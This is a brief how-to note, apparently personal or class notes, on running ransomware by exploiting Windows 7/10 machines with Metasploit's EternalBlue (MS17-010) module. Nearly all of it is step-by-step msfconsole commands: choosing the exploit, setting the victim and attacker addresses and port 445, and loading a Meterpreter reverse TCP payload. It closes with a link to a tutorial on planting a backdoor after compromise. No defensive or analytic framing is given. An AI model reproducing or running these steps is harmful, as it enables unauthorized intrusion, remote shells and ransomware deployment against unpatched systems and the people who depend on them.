To execute runsomeware use the metaspolit: 

Hacking Window7/10 
On Kali, type msfconsole
-	Enter, msf > search eternalblue   
-	Type, use exploit/windows/smb/ms17_010_eternalblue
-	Type, show options
-	Setup the options, 
-	msf exploit(ms17_010_eternalblue) > set rhost 192.168.159.154 // the remote host/victim (windows 7/7)         
-	msf exploit(ms17_010_eternalblue)> set rport 445   // the SMB port of the remote host
-	msf exploit(ms17_010_eternalblue)> set lhost 192.168.159.150 // the Local Host (Kali)         
-	Type, show options, to check the options are entered correctly,

-	Type, msf exploit(ms17_010_eternalblue)> show payloads to select from. 
-	Type, msf exploit(ms17_010_eternalblue)>  set payload windows/x64/meterpreter/reverse_tcp
-	Type, msf exploit(ms17_010_eternalblue)>   exploit  // Launch the exploitation


To execute backdoor use this link: 
https://www.hacking-tutorial.com/hacking-tutorial/5-steps-to-set-up-backdoor-after-successfully-compromising-target-using-backtrack-5/#sthash.QgjjbNYM.dpbs